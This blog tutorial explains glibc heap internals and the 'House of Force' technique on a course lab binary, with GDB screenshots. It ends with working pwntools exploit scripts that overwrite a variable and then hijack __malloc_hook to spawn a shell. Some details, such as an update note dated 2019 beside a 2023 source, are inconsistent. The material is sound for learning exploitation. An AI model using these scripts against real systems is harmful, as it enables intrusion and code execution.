# Heap - House Of Force

## Introduction

I'm launching a series on heap exploitation techniques, starting with **glibc ptmalloc** Linux OS based. As we progress, I'll be sharing my discoveries and insights. It's worth noting that I won't dive into explaining the exploitation process until we've covered all the necessary heap concepts and terminologies that will be crucial throughout the exploitation journey. Our starting point is the '<mark style="color:red;">**House of Force**</mark>' technique, which belongs to the 'House Of XXX' series. The term 'House Of XXX' encompasses a collection of exploit techniques designed for glibc vulnerabilities, originally introduced in the article '<mark style="color:blue;">**The Malloc Maleficarum - Glibc Malloc Exploitation Techniques**</mark>' in 2004.

## Heap

The ***heap*** in C and C++ is where programmers reserve memory for their programs while they run. They do this by asking the heap manager to provide memory space using functions like [**malloc**](https://linux.die.net/man/3/malloc). Once they have this memory, they can use it, change it, or refer to it. When they're done, they return it to the heap manager using the free function.

In [malloc.c](https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L448) of glibc, the description of malloc is as follows:

```
/* 
   malloc(size_t n)
  Returns a pointer to a newly allocated chunk of at least n bytes, or null
  if no space is available. Additionally, on failure, errno is
  set to ENOMEM on ANSI C systems.

  If n is zero, malloc returns a minumum-sized chunk. (The minimum
  size is 16 bytes on most 32bit systems, and 24 or 32 bytes on 64bit
  systems.)  On most systems, size_t is an unsigned type, so calls
  with negative arguments are interpreted as requests for huge amounts
  of space, which will often fail. The maximum supported value of n
  differs across systems, but is in all cases less than the maximum
  representable value of a size_t.
*/
```

As can be seen, the malloc function returns a pointer to a memory block of corresponding size bytes. In addition, this function also handles some exceptions

* When **n** is set to **0**, it will return the smallest available memory block on the system. As a point of interest, on a Linux x64 system, this smallest requested memory block is typically **24 bytes** (I'll demonstrate this during debugging )
* If **n** is a **negative** number, it's essential to note that **size\_t** is an **unsigned** type on most systems. Consequently, the program will request a significant amount of memory, but it will likely fail because the system cannot allocate that much memory.

{% hint style="info" %}
The system calls behind malloc and free functions are mainly [(s)brk](https://man7.org/linux/man-pages/man2/sbrk.2.html) function and the [mmap and munmap](https://man7.org/linux/man-pages/man2/mmap.2.html) functions.
{% endhint %}

In other word Heap is a contiguous region of memory that is subdivided into **chunks** to be allocated. Each heap belongs to exactly one **arena.**

### Arena

This is a heap area that helps each thread access different memory areas without interfering with each other.&#x20;

In the case of a single-threaded process, it has one Arena, but in the case of a multi-threaded process, it has more than one Arena, so each thread existing in different Arenas can perform heap work without stopping.

Then, you may think that each thread has its own Arena, but this is a wrong idea. If each arena is assigned to each thread, resource depletion will be severe, so the number of arenas is limited depending on the 32-bit or 64-bit system and the number of cores in the system.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2F1AYqOnKktVIj2V9ZYkbz%2Fimage.png?alt=media&#x26;token=67d1eb6f-d69e-44b3-b464-4ad2e59fc999" alt=""><figcaption><p><a href="https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L1727">https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L1727</a></p></figcaption></figure>

If a new thread is created, it finds an Arena that is not in use by other threads and connects an Arena to that thread.&#x20;

If all available Arenas are being used by other threads, a new Arena is created, and when the limited number of Arenas is reached, multiple threads connect to one Arena. It will be shared on Arena.

#### Types of Arena

Arena is largely divided into :&#x20;

* **Main Arena**

Because it was created as the main thread, it is called Main Arena. Exists for single-threaded programs and requires heap operations such as malloc().

When a dynamic allocation request that Main Arena can handle comes in, the heap segment is expanded through **sbrk()** .

* **Sub Arena**

This is called Sub Arena, and unlike the Main Arena that uses **sbrk**, it is allocated to new heap memory through **mmap()** and expanded using **mprotect()** .

#### Practice Code&#x20;

> #### <mark style="color:green;">(</mark>*<mark style="color:green;">For this post, I'll cover only the first type. The second type will be discussed in a separate blog.</mark>* <mark style="color:green;"></mark><mark style="color:green;">)</mark>

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2F8t5gK5ey9ErDYJ4I51uM%2Fimage.png?alt=media&#x26;token=22627dcf-30b9-49b2-bd15-17060d94081f" alt=""><figcaption></figcaption></figure>

* main function - before calling malloc function

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FI2LK9ELCzR0bTZPRcOro%2Fimage.png?alt=media&#x26;token=0d4bab0a-62dd-4ada-8ec7-4ad3e76407ec" alt=""><figcaption></figcaption></figure>

The Arena is the **Main Arena**, which is created by the main thread and exists by default without heap operations such as malloc and since Sub Arena does not exist, **the next Arena points to itself**.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FwWwmMYR9AAJihmx5BVJw%2Fimage.png?alt=media&#x26;token=029fd815-4ae5-4fe8-9e18-a852537f1f3e" alt=""><figcaption></figcaption></figure>

You can see that Main Arena does not exist in the heap, but exists in the data segment of **libc-2.28.so**. Also, you can see that the heap area has not been allocated yet.

* main function - call malloc function

Let's put a catchpoint in brk and mmap **syscalls** right before calling the malloc function in the main function and continue the flow of execution .

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2F3u822doHDkaEiH6VgdlR%2Fimage.png?alt=media&#x26;token=1d2a0559-ce63-4c45-9c75-b12240768a9f" alt=""><figcaption></figcaption></figure>

You can see that the **syscall brk** is used to extend the heap area:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FmAQHxYucahnB8jh7Zppi%2Fimage.png?alt=media&#x26;token=566c6ce2-a37e-4cc5-8903-37ec58730803" alt=""><figcaption></figcaption></figure>

Heap area added after malloc:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FlnX9SDSr7rpWFV4JYDWf%2Fimage.png?alt=media&#x26;token=4067e4c9-bdcb-4d06-be00-e18a2db7f016" alt=""><figcaption></figcaption></figure>

You can see that the value of the malloc\_state structure in Main Arena has changed:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FubKUvzN1l3aaV5MOi4jr%2Fimage.png?alt=media&#x26;token=d0e0bb54-117d-4023-aa43-29251558e7b7" alt=""><figcaption></figcaption></figure>

### Chunks

A chunk of memory is a small space owned by the application. It can be released when not in use or merged with adjacent chunks to form larger memory areas. Think of a chunk as a container for the allocated memory.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FGosJBdrgJJLv8p7Oj77w%2Flayout_of_heap_chunks.png?alt=media&#x26;token=c1ec18e4-776a-4772-8c72-b577ea153eed" alt=""><figcaption></figcaption></figure>

In the heap, chunks come in two distinct states: '**in-use**' and '**free**.' It's important to note that I'll be concentrating on the 'in-use' type, as the 'House of Force' exploitation technique used on this particular state.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FrNeKPjvwGmzMwhZNYxZB%2Fchunks.png?alt=media&#x26;token=ad0bd1b1-9d53-4f61-a3fb-cfff2c8886ba" alt=""><figcaption></figcaption></figure>

An 'in-use' chunk is composed of **three** elements:&#x20;

* The previous chunk size ,&#x20;
* The chunk size (8 bytes on 64-bit systems) + the AMP flag (3 bits),&#x20;
* The user data.

On 64-bit machines, user data is padded to align with **16 bytes**. This alignment ensures that the **last three bits** of the user data size, when expressed in hexadecimal format, are always zero. This alignment provides us with an opportunity to utilize these last three bits as **flags**.

Now, it's time to put this into practice using GDB, and for this demonstration, I'll be working with a [binary](https://github.com/limitedeternity/HeapLAB/blob/main/house_of_force/demo) from the HeapLAB repository:

To avoid GDB from displaying the entire program information upon each run, I'll utilize `set context-sections code` to print just the relevant source code part. Then, I'll use the `context` command to view the source code as needed.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FAeQuKYUFWyFUpNO8A1VL%2Fimage.png?alt=media&#x26;token=7edebfb5-7e45-4262-801b-e5021a19985a" alt=""><figcaption></figcaption></figure>

The primary function of this program is to call **malloc** multiple times and then return.

Using `vmmap`, I can visualize the current memory layout of the process. When 'malloc' hasn't been executed yet, there is no heap area in the program's memory space."

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2F9s0ij83GtdCXyx9vDY3i%2Fimage.png?alt=media&#x26;token=e4022482-4019-40e0-8ae4-8a8c885f3cad" alt=""><figcaption></figcaption></figure>

Once the first `malloc` is executed, checking `vmmap` will reveal an additional heap space with the size <mark style="color:blue;">**21000 bytes**</mark>.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FGyNMgwGEXqronD0QbgYy%2Fimage.png?alt=media&#x26;token=0c555206-5a31-4dbf-9327-6f8d2b5421ba" alt=""><figcaption></figcaption></figure>

Next, let's examine the distribution of chunks within the heap by using the pwndbg command `vis_heap_chunk`, which is abbreviated as `vis`

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FkiQUsc8sFlReRezYYMyN%2Fimage.png?alt=media&#x26;token=1f0ed0e3-9b38-4de8-9332-5d0c309272fe" alt=""><figcaption></figcaption></figure>

Let’s break it down: you can see the first chunk requested. As mentioned before, metadata is stored inline - The heap does not store user data alone.

Whilst programs deal with pointers to chunk user data, malloc considers chunks **to start 8 bytes** before their **size field**.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FuG76XYlluz4xkcSO9dlK%2Fimage.png?alt=media&#x26;token=1418e0c3-eab5-45e0-a145-b47adc36d2f8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2Fh8ApnFcfKyzISmqj8no4%2FmLLOC.png?alt=media&#x26;token=fd90e26f-4101-4760-8d71-821f001a306a" alt=""><figcaption></figcaption></figure>

The **size field** value <mark style="color:blue;">**0x0000000000000021**</mark> indicate the amount of user data it has in bytes, plus the number of bytes taken up by the size field itself. A chunk’s size field is **8 bytes** long, so a chunk with **24 bytes** of user data has a size field that holds the value **0x20**, or **32**  in decimal. The minimum usable chunk size is **0x20 (**&#x32;4 bytes of user data + 8 bytes of chunk’s size field) .

I know that the code calls `malloc(9)`, requesting 9 bytes, but it actually allocates 3 \* 8 = 24 bytes of space. In this case, `malloc(9)` reserves 24 bytes for user data and an additional 8 bytes for the chunk size, resulting in a total of **32 bytes** for this chunk.

Now the big question why the size fied hold **0x21** not **0x20** ?&#x20;

Chunk sizes increase in **16-byte increments**. For example, the next size up from a **0x20** chunk is a **0x30** chunk, and so on as demonstrated below:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2Fh1jS1yfCSXxWC5lEfatk%2F20.png?alt=media&#x26;token=2f658bbd-74a5-4da5-b61e-cb9c4a1d70ed" alt=""><figcaption></figcaption></figure>

&#x20;As a result, **the least-significant** nybble (four bits) of a size field doesn't represent the chunk size. Instead, it holds **flags** that signify the chunk's state. These flags are stored from the least significant to the most significant positions.

### AMP flags

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FzLklqgYtvHkr4r0uuCYe%2Fimage.png?alt=media&#x26;token=e985ace0-d1f8-4bb7-8d65-e3aa5dd71dda" alt=""><figcaption></figcaption></figure>

Example: <mark style="color:red;">**the flag P**</mark> is set when the previous chunk is still in use by the application. In this case, the `prev_size` field is not valid. For instance, as previously mentioned, a value like 0x21 is broken down into 0x20 for the chunk size and 0x01 for P, where 0x01 signifies that P is equal to 1.

Until now, several chunks were allocated by `malloc(9)`, `malloc(1)`, `malloc(0)`, `malloc(24)`respectively, you can see that the contents are actually the same and occupy 0x20 bytes:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FfiB7pTaxrCUN2gsHdTND%2Fimage.png?alt=media&#x26;token=2157d715-ee4c-4a29-bb1c-789ab5d70396" alt=""><figcaption></figcaption></figure>

If the execution continues below, `malloc(25)`a **0x30** space will be allocated.

When malloc allocates 25 bytes, 8 bytes + (24 +16) bytes will be  allocated. Because 25 > 24, **0x10** more space must be added.&#x20;

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FHnjexRynsxuBWZpMpJHv%2Fimage.png?alt=media&#x26;token=6b3c7c34-ee36-4848-b84e-4f3d44936f54" alt=""><figcaption></figcaption></figure>

### Top chunk

The `Top chunk` is the final chunk within an Arena. When you allocate it using malloc, it's separated from the 'top chunk' and used. If a chunk next to the 'top chunk' is freed, it gets merged back into the 'top chunk

If a size larger than the top chunk is requested, **Main Arena**: Call **sbrk()** to expand memory to increase the size of the Top chunk.

#### Debugging

* Right before calling malloc, as depicted below the Top chunk does not exist

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FWgpVd6guqHeQHaWQYpSX%2Fimage.png?alt=media&#x26;token=3759d9c0-987f-445d-bb55-680e49d2ca10" alt=""><figcaption></figcaption></figure>

* Immediately after calling the first malloc()

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2Fh2LDlBBPKZODjIbVaqPw%2Fimage.png?alt=media&#x26;token=caf09a99-d945-4174-be8e-a76853f25be5" alt=""><figcaption></figcaption></figure>

The address of the top chunk is **0x602020** and the size value is **0x20fe0**.

This means that the original size of the top chunk is **0x21000**, but when a memory allocation request for 9 bytes (it will request the minimum size which is 24 bytes), it is subtracted from the top chunk, and a chunk of 0x20 is created, and the remainder  **0x20fe0**(0x21000 - 0x20), is left.

However, the value actually stored in the top chunk is **0x20fe1**, but the last flag bit, **0x1**, is set.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FQs0dok3oGHvijb3ZWNoW%2Fimage.png?alt=media&#x26;token=8b60a188-5cd1-4c81-ba9d-82afd26747ee" alt=""><figcaption></figcaption></figure>

## House Of Force

### Principle

House Of Force is a heap exploitation method, but it does not mean that House Of Force must be exploited based on heap vulnerabilities. If a heap based vulnerability is to be exploited through the House Of Force method, the following conditions are required:

1. Able to control the size domain of the top chunk through overflow and other methods.
2. Able to freely control the size of the heap allocation size.

The reason House Of Force occurs is because memory allocation is handled by **Top Chunk** when glibc requests malloc.

If the size of the top chunk can be abused and overwritten with another value (usually <mark style="color:red;">**-1**</mark>) and a malloc request of the desired size can be made, the attacker can move the top chunk to a desired location.

### Binary Walkthrough <a href="#binary-walkthrough" id="binary-walkthrough"></a>

The binary I'll work with is named `house_of_force`, which was provided as part of the '*Linux Heap Exploitation - Part 1*' course, generously offered by the fantastic instructor **Max Kamper**.

#### Basic information

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2Ff5wVWhRUci3ce2RTvXSg%2Fimage.png?alt=media&#x26;token=4d1eab3e-3231-40d3-8bb7-1b70a2ed6987" alt=""><figcaption></figcaption></figure>

#### Debugging

The binary resembles the kind of pwn challenges often seen in CTFs:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2F5weaqpAAPzskZOmJTnX1%2Fimage.png?alt=media&#x26;token=34774338-6e07-42ee-9fd7-a9a20b4b7371" alt=""><figcaption></figcaption></figure>

To aid in understanding the vulnerability, the program leak the addresses of both **puts** and the **heap's starting address** before execution thus we don’t need to worry about bypassing mitigation techniques.

Option 1) is malloc, you can then enter the size you want to apply for and what you want to enter, for example, I applied for 1 above, but entered the string "<mark style="color:red;">**AAAAAAAAAAAAAAAAAAAAAAAASMASHEAP**</mark>" so like I've been doing for so long, let's inspect the heap chunks :

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FgY2vMSAK43thEtEr46OS%2Fimage.png?alt=media&#x26;token=0b399c00-91a5-41c3-870b-a95b9dcae703" alt=""><figcaption></figcaption></figure>

Exactly as expected, initially 24 bytes was allocated but overwriting the top chunk size field with an arbitrary value of 8 bytes.&#x20;

Now, House of Force is possible because this malloc implementation <mark style="color:red;">**doesn't check for invalid top\_chunk size**</mark>. I can overwrite the top chunk size to something so large that it will span the entire address space !!!

{% hint style="info" %}
The goal of this challenge is to overwrite the value of the 'target' variable and perform code execution using the 'House of Force' (HOF) primitive .
{% endhint %}

#### Goal one : Overwrite the value the variable 'target'

In GDB, let's examine the address of `target`  :

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FGdXGT2aikXYxMUX0w7xf%2Fimage.png?alt=media&#x26;token=73bccb6e-7360-454e-8ac4-a024641dcccf" alt=""><figcaption></figcaption></figure>

The starting address of the heap is **0x603000**, but you can see that the target address is actually above the heap **0x602010:**

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FRtAjVHPhoPk57ccG1yaM%2Ftoto.png?alt=media&#x26;token=2a0b28e8-6d37-483f-94a5-9d79c8b55ce6" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
The million-dollar question is how to overwrite the `target` variable?
{% endhint %}

The size of the top chunk changes continuously with the allocation and recycling of memory. If memory is allocated from the top chunk, the top chunk will decrease and the pointer of the top chunk will increase.

The code for allocating memory from the top chunk in glibc is as follows:

1. It checks whether the size of the top chunk can meet the allocation requirements.&#x20;
2. It ensures that the remaining size after allocation cannot be less than the minimum chunk size (**MINSIZE**). If this condition is met, allocation is performed.
3. After allocating memory, the size field of the top chunk needs to be updated to **size - nb** (nb is the size of the newly allocated chunk), and the top chunk ptr is updated to **ptr + nb**. (*ptr -> p*)

```c
// Some code  /* finally, do the allocation */
  p = av->top;
  size = chunksize (p);

  /* check that one of the above allocation paths succeeded */
  if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
    {
      remainder_size = size - nb;          // Update the size of top chunk
      remainder = chunk_at_offset (p, nb); // Update the ptr of top chunk
      av->top = remainder;
      set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_head (remainder, remainder_size | PREV_INUSE);
      check_malloced_chunk (av, p, nb);
      return chunk2mem (p);                // Return the newly allocated memory address
    }

  /* catch all failure paths */
  __set_errno (ENOMEM);
  return 0;
}
```

Allocate a large memory in the top chunk to the newly applied chunk, so that an integer overflow occurs when updating the ptr of the top chunk, thereby controlling the top chunk ptr to the specified target memory address, such as the .bss segment, .data segment, and stack, etc. . When malloc is used to apply for memory again, the target memory address will be returned. After writing to the memory, data can be written to any address.

#### First malloc : modify the size of top chunk to a large number <a href="#id-1-xiu-gai-topchunk-de-size-wei-da-shu" id="id-1-xiu-gai-topchunk-de-size-wei-da-shu"></a>

From the above analysis, we can know that the following conditions need to be met to allocate memory in the top chunk.

```
 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
```

Since the size of the arena is 132KB, the size of the top chunk is not larger than 132KB (0x21000 bytes). Therefore, the heap allocated through the top chunk cannot exceed 0x21000 bytes under normal circumstances, which results in integer overflow occurring when the ptr of the top chunk is updated. To do this, I need to first use the heap overflow vulnerability to modify the size of the top chunk to a large number, usually -1 (its complement is 0xFFFFFFFFFFFFFFFF) using  ***the first `malloc`***. Then you can apply for a large memory through the top chunk to trigger an integer overflow.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FBPLReLw5SQMORDPJLCya%2Fimage.png?alt=media&#x26;token=2a76fa95-ad58-4510-a325-7b2844f5ecae" alt=""><figcaption></figcaption></figure>

#### Second malloc : malloc a large memory to control the top chunk ptr <a href="#id-2malloc-yi-kuai-da-nei-cun-kong-zhi-topchunkptr" id="id-2malloc-yi-kuai-da-nei-cun-kong-zhi-topchunkptr"></a>

Suppose the user's memory request size is `request_size` during this step, with the goal of controlling the final memory address `target`. Initially, the `ptr` value of the top chunk is `top_old`, and after allocating a new chunk, it becomes `top_new.`

```
top_new = top_old + align(request_size+ SIZE_SZ)   // SIZE_SZ is the size field length
target = top_new + 2 * SIZE_SZ   // 2* SIZE_SZ is the length of prev_size and size fields
```

According to the above formula, we can get :&#x20;

```
request_size = target - top_old - 2*SIZE_SZ - SIZE_SZ
```

Once ***the second `malloc`*** is executed, the `ptr` of the top chunk is updated to point to the memory address of `target - 2 * SIZE_SZ`. Essentially, the top chunk is moved to the `target` memory address. To calculate `request_size`, you need to know the `ptr` of `top_old` in the heap memory. This information is typically obtained through other vulnerabilities that allow you to leak the address of the top chunk in the heap.

Alternatively, you can designate a specific location in the heap memory as the `target`. In such cases, you can determine the address of the top chunk through local debugging. In this context, the `request_size` calculated using the formula mentioned remains applicable. This value remains relevant even if the heap's base address changes.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FzDmIdWeaI6UOUl5M76QN%2Fimage.png?alt=media&#x26;token=54e91020-5dc1-46bf-a378-215435b0e21d" alt=""><figcaption></figcaption></figure>

#### Third malloc : malloc again to return to the target memory <a href="#id-2malloc-yi-kuai-da-nei-cun-kong-zhi-topchunkptr" id="id-2malloc-yi-kuai-da-nei-cun-kong-zhi-topchunkptr"></a>

In this scenario, the requested chunk will indeed be allocated from the `target` memory, ultimately returning it to the same `target` memory location. This allows you to write data into that memory, enabling further attacks and exploitation.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2Fokcz6LJbI0hbnHSmk0lz%2Fimage.png?alt=media&#x26;token=03f40b34-6c68-4adc-8ca3-684ac121dd5f" alt=""><figcaption></figcaption></figure>

### Goal one achieved

Building upon the analysis I conducted earlier, I'll utilize that understanding to create a Proof of Concept (PoC) that can effectively overwrite the `target` variable:

```python
#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("house_of_force")
libc = ELF(elf.runpath + b"/libc.so.6")

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Select the "malloc" option, send size & data.
def malloc(size, data):
    io.send(b"1")
    io.sendafter(b"size: ", f"{size}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ")

io = start()

# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts

# This binary leaks the heap start address.
io.recvuntil(b"heap @ ")
heap = int(io.recvline(), 16)
io.recvuntil(b"> ")
io.timeout = 0.1

# =============================================================================

# 1) First malloc : modify the size of top chunk to a large number
malloc(1, b"Y"*24 + p64(0xffffffffffffffff))

# 2) Second malloc : malloc a large memory to control the top chunk ptr 
request_size = elf.sym.target - (heap + 0x20) - 2*8 - 8  # request_size = target - top_old - 2*SIZE_SZ - SIZE_SZ
malloc(request_size, "LOL")

# 3) Third malloc : malloc again to return to the target memory
malloc(1,"THEBEST")
# =============================================================================

io.interactive()
```

Inspecting the heap chunks after running the python script:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FJFPUXlvoKQoS6oEl15Cb%2Fimage.png?alt=media&#x26;token=fe805d75-3a71-4d19-88f4-0f6452bbf5f3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2Fy8jREbY49J7YkdDyw6yG%2Fimage.png?alt=media&#x26;token=256b2634-dd24-41bb-8edb-490d1ba24a2e" alt=""><figcaption></figcaption></figure>

Excellent! The `target` variable has been successfully overwritten, marking a successful exploitation using the "House of Force" technique. Next, I will delve into an example involving real code execution using `malloc` hooks within the "House of Force" context.

### Arbitrary code execution

By manipulating the `__malloc_hook` address, which is invoked before `malloc`, and overwriting it with the address of the `__ libc_system` function that will allow me to get a shell :&#x20;

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FPt9bekqU7GWWkMvHk5bv%2Fimage.png?alt=media&#x26;token=92a360d1-5ce1-4139-9d77-1aa64839e4a5" alt=""><figcaption></figcaption></figure>

The same process used to overwrite `target` will be used to overwrite the address of `__malloc_hook` with the address of `__ libc_system` using HOF primitive.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2Fm8N0aGYlEqRBpXBsIiTp%2Fsystem.png?alt=media&#x26;token=2e4337d7-402c-4f0b-8f46-d372d74c1a5a" alt=""><figcaption></figcaption></figure>

Given that the `system` parameter is a reference to a string, it can be readily configured as "/bin/bash" while performing the step of "allocating a large memory to take control of the top chunk pointer.

### Goal two achieved

```python
#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("house_of_force")
libc = ELF(elf.runpath + b"/libc.so.6")

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Select the "malloc" option, send size & data.
def malloc(size, data):
    io.send(b"1")
    io.sendafter(b"size: ", f"{size}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ")

io = start()

# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts

# This binary leaks the heap start address.
io.recvuntil(b"heap @ ")
heap = int(io.recvline(), 16)
io.recvuntil(b"> ")
io.timeout = 0.1

# =============================================================================

# 1) First malloc : modify the size of top chunk to a large number
malloc(1, b"Y"*24 + p64(0xffffffffffffffff))

# 2) Second malloc : malloc a large memory to control the top chunk ptr also to prepare the string "/bin/sh" as an argument for system
request_size = libc.sym.__malloc_hook - (heap + 0x20) - 2*8 - 8         # request_size = target - top_old - 2*SIZE_SZ - SIZE_SZ
malloc(request_size, "/bin/sh\0")

# 3) Overwrite the adress of __malloc_hook with __libc_system
malloc(24, p64(libc.sym.system))

# 4) Trigger system function
malloc(heap + 0x30, "")
# =============================================================================

io.interactive()
```

And there’s the shell :&#x20;

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FDVODAaCFgXUcN8xPB5Ih%2Fimage.png?alt=media&#x26;token=9ebbc4dc-cec2-4ed7-a5ad-27d94dea3c3c" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">**(Update 05/2019: Made a note that this method is now patched in glibc>=2.29)**</mark>

## Conclusion

It's true that the blog post was somewhat lengthy, but I wanted to share everything I've learned about the <mark style="color:red;">**House Of Force**</mark> primitive. While it's a fundamental technique in heap exploitation, I firmly believe that the path to mastering any skill begins with grasping the theory and foundational concepts. Slowing down and delving deeply into a topic is essential for a solid understanding. So, always start with the basics, take the time to learn, and build your expertise step by step.

**Final Note**: I am not a Binary Exploitation expert I'm just a learner and still discovering this wonderful field, If you think I said anything incorrect anywhere, feel free to reach out to me and correct me, I would highly appreciate that. And finally, thank you very much for taking your time to read this post.

## References

{% embed url="<https://sourceware.org/glibc/wiki/MallocInternals>" %}

{% embed url="<https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt>" %}

{% embed url="<https://jackfromeast.site/2023-01/understand-the-heap-a-beautiful-mess.html#overall-layout-of-arenas-and-heaps>" %}

{% embed url="<https://github.com/limitedeternity/HeapLAB/tree/main/house_of_force>" %}

{% embed url="<https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/>" %}

{% embed url="<https://www.udemy.com/course/linux-heap-exploitation-part-1/>" %}

